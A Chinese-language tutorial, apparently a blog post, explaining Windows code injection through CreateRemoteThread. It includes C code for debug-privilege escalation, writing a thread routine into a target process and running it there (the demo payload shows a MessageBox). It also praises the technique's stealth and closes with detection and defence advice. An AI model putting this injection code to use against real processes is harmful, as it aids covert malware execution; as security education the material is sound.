进程注入:通过远程线程注入代码
字数 1220 2025-08-26 22:11:57

进程注入技术详解:通过远程线程实现代码注入

概述

进程注入是一种将代码注入到其他进程内存空间并执行的技术。与DLL注入相比,代码注入具有以下优势:

  • 体积更小,更加隐蔽
  • 注入的代码隐藏在进程内存中,不易被发现
  • 不会留下明显的DLL加载痕迹

技术原理

核心API函数

  1. CreateRemoteThread:在目标进程中创建远程线程
  2. VirtualAllocEx:在目标进程中分配内存空间
  3. WriteProcessMemory:向目标进程内存写入数据
  4. OpenProcess:打开目标进程句柄
  5. LoadLibrary/GetProcAddress:动态加载DLL和获取函数地址

注入流程

  1. 提升当前进程权限(获取调试权限)
  2. 打开目标进程获取句柄
  3. 在目标进程中分配内存并写入注入代码
  4. 在目标进程中分配内存并写入代码所需参数
  5. 创建远程线程执行注入代码
  6. 等待线程执行完成并清理资源

代码实现详解

参数结构体定义

typedef struct _PARAMENT {
    FARPROC pLoadLibrary;        // LoadLibraryA函数地址
    FARPROC pGetProcessAddress;  // GetProcAddress函数地址
    char DllName1[LENGTH];       // 需要加载的DLL名称(如"user32.dll")
    char FuncName[LENGTH];       // 需要调用的函数名称(如"MessageBoxA")
    char Content[LENGTH];        // MessageBox显示内容
    char title[LENGTH];          // MessageBox标题
} RemoteParament, *pRemoteParament;

权限提升函数

BOOL EnableDebugPriv() {
    HANDLE hToken;
    LUID Luid;
    TOKEN_PRIVILEGES tkp;
    
    // 1. 打开当前进程的访问令牌
    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        printf("提权失败\n");
        return FALSE;
    }
    
    // 2. 查找SE_DEBUG_NAME权限对应的LUID
    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
        CloseHandle(hToken);
        printf("提权失败\n");
        return FALSE;
    }
    
    // 3. 设置令牌特权
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = Luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    // 4. 调整令牌特权
    if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
        printf("提权失败\n");
        CloseHandle(hToken);
    } else {
        printf("提权成功!\n");
        return TRUE;
    }
}

线程注入函数

DWORD WINAPI ThreadProc(LPVOID ThreadPara) {
    pRemoteParament para = (pRemoteParament)ThreadPara;
    
    // 声明函数指针
    HMODULE (WINAPI *fpLoadLibrary)(LPCSTR);
    FARPROC (WINAPI *fpGetProcAddress)(HMODULE, LPCSTR);
    int (WINAPI *fpMessageBox)(HWND, LPCSTR, LPCSTR, UINT);
    
    // 赋值函数指针
    fpLoadLibrary = (HMODULE(WINAPI *)(LPCSTR))para->pLoadLibrary;
    fpGetProcAddress = (FARPROC(WINAPI *)(HMODULE, LPCSTR))para->pGetProcessAddress;
    
    // 加载DLL并获取函数地址
    HMODULE hMod = fpLoadLibrary(para->DllName1);
    fpMessageBox = (int(WINAPI *)(HWND, LPCSTR, LPCSTR, UINT))fpGetProcAddress(hMod, para->FuncName);
    
    // 调用目标函数
    fpMessageBox(NULL, para->Content, para->title, MB_OK);
    
    return 0;
}

主注入函数

BOOL Inject(DWORD dwPID) {
    // 1. 打开目标进程
    if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) {
        printf("open process failed!\n");
        return FALSE;
    }
    
    // 2. 准备参数结构体
    RemoteParament para = {0};
    HMODULE hMod = LoadLibrary(L"kernel32.dll");
    para.pLoadLibrary = (FARPROC)GetProcAddress(hMod, "LoadLibraryA");
    para.pGetProcessAddress = (FARPROC)GetProcAddress(hMod, "GetProcAddress");
    strcpy_s(para.DllName1, "user32.dll");
    strcpy_s(para.FuncName, "MessageBoxA");
    strcpy_s(para.Content, "code inject!");
    strcpy_s(para.title, "inject");
    
    // 3. 在目标进程中分配内存并写入参数
    LPVOID vPara = VirtualAllocEx(hProcess, NULL, sizeof(para), MEM_COMMIT, PAGE_READWRITE);
    if(vPara == NULL) {
        printf("para's virtual memory alloc failed!\n");
        return -1;
    }
    
    if(!WriteProcessMemory(hProcess, vPara, (LPVOID)&para, sizeof(para), NULL)) {
        printf("para's virtual memory write failed!\n");
        return -1;
    }
    
    // 4. 在目标进程中分配内存并写入线程函数
    // 计算线程函数大小(Release模式下有效)
    DWORD dwSize = (DWORD)Inject - (DWORD)ThreadProc;
    
    // 或者使用固定大小(0x4000)
    LPVOID pRemoteThreadProc = VirtualAllocEx(hProcess, NULL, THREAD_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(pRemoteThreadProc == NULL) {
        printf("threadproc's virtual memory alloc failed!\n");
        return -1;
    }
    
    if(!WriteProcessMemory(hProcess, pRemoteThreadProc, (LPVOID)&ThreadProc, THREAD_SIZE, NULL)) {
        printf("threadproc's virtual memory write failed!\n");
        return -1;
    }
    
    // 5. 创建远程线程
    HANDLE hThread = NULL;
    hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThreadProc, vPara, 0, NULL);
    
    if(hThread) {
        printf("non dll inject success.\n");
    } else {
        printf("inject failed!\n");
        return FALSE;
    }
    
    // 6. 等待线程执行完成并清理
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    
    return TRUE;
}

关键点解析

1. 函数地址计算

在目标进程中执行代码时,需要注意:

  • kernel32.dll在每个进程中的加载地址相同,可以直接使用本进程中的LoadLibrary/GetProcAddress地址
  • 其他DLL(如user32.dll)在不同进程中加载地址可能不同,需要在目标进程中重新加载和获取函数地址

2. 内存分配策略

注入时需要分配两种内存:

  1. 参数内存:存储注入代码需要的参数(PAGE_READWRITE权限)
  2. 代码内存:存储要注入的线程函数(PAGE_EXECUTE_READWRITE权限)

3. 线程函数大小计算

两种计算线程函数大小的方法:

  1. 地址相减法(推荐Release模式使用):

    DWORD dwSize = (DWORD)Inject - (DWORD)ThreadProc;
    
    • 优点:精确计算函数大小
    • 注意:必须在Release模式下编译,Debug模式可能包含调试信息导致计算错误
  2. 固定大小法

    #define THREAD_SIZE 0x4000
    
    • 优点:简单直接
    • 缺点:可能分配过多内存,容易被检测

4. 64位兼容性

在64位系统上注入时需要注意:

  • 编译环境必须与目标进程匹配(64位程序注入64位进程)
  • 使用x64dbg等64位调试工具进行调试
  • 数据类型大小可能不同(如指针大小)

调试与检测

调试技巧

  1. 使用x64dbg调试64位目标进程
  2. 设置"在新线程创建时中断"断点
  3. 观察内存分配和写入操作
  4. 跟踪远程线程执行流程

检测方法

  1. 检查进程中的异常内存区域(具有执行权限的内存)
  2. 监控CreateRemoteThread调用
  3. 检查VirtualAllocEx分配的可执行内存
  4. 分析线程创建行为

防御措施

  1. 使用DEP(数据执行保护)
  2. 启用ASLR(地址空间布局随机化)
  3. 监控可疑API调用
  4. 限制进程权限
  5. 使用代码签名验证

总结

通过远程线程实现代码注入是一种强大但潜在危险的技术。理解其原理和实现细节对于安全研究和防御开发都至关重要。在实际应用中,应当遵守法律法规,仅用于合法授权的安全测试和研究目的。

进程注入技术详解:通过远程线程实现代码注入 概述 进程注入是一种将代码注入到其他进程内存空间并执行的技术。与DLL注入相比,代码注入具有以下优势: 体积更小,更加隐蔽 注入的代码隐藏在进程内存中,不易被发现 不会留下明显的DLL加载痕迹 技术原理 核心API函数 CreateRemoteThread :在目标进程中创建远程线程 VirtualAllocEx :在目标进程中分配内存空间 WriteProcessMemory :向目标进程内存写入数据 OpenProcess :打开目标进程句柄 LoadLibrary/GetProcAddress :动态加载DLL和获取函数地址 注入流程 提升当前进程权限(获取调试权限) 打开目标进程获取句柄 在目标进程中分配内存并写入注入代码 在目标进程中分配内存并写入代码所需参数 创建远程线程执行注入代码 等待线程执行完成并清理资源 代码实现详解 参数结构体定义 权限提升函数 线程注入函数 主注入函数 关键点解析 1. 函数地址计算 在目标进程中执行代码时,需要注意: kernel32.dll在每个进程中的加载地址相同,可以直接使用本进程中的LoadLibrary/GetProcAddress地址 其他DLL(如user32.dll)在不同进程中加载地址可能不同,需要在目标进程中重新加载和获取函数地址 2. 内存分配策略 注入时需要分配两种内存: 参数内存 :存储注入代码需要的参数(PAGE_ READWRITE权限) 代码内存 :存储要注入的线程函数(PAGE_ EXECUTE_ READWRITE权限) 3. 线程函数大小计算 两种计算线程函数大小的方法: 地址相减法 (推荐Release模式使用): 优点:精确计算函数大小 注意:必须在Release模式下编译,Debug模式可能包含调试信息导致计算错误 固定大小法 : 优点:简单直接 缺点:可能分配过多内存,容易被检测 4. 64位兼容性 在64位系统上注入时需要注意: 编译环境必须与目标进程匹配(64位程序注入64位进程) 使用x64dbg等64位调试工具进行调试 数据类型大小可能不同(如指针大小) 调试与检测 调试技巧 使用x64dbg调试64位目标进程 设置"在新线程创建时中断"断点 观察内存分配和写入操作 跟踪远程线程执行流程 检测方法 检查进程中的异常内存区域(具有执行权限的内存) 监控CreateRemoteThread调用 检查VirtualAllocEx分配的可执行内存 分析线程创建行为 防御措施 使用DEP(数据执行保护) 启用ASLR(地址空间布局随机化) 监控可疑API调用 限制进程权限 使用代码签名验证 总结 通过远程线程实现代码注入是一种强大但潜在危险的技术。理解其原理和实现细节对于安全研究和防御开发都至关重要。在实际应用中,应当遵守法律法规,仅用于合法授权的安全测试和研究目的。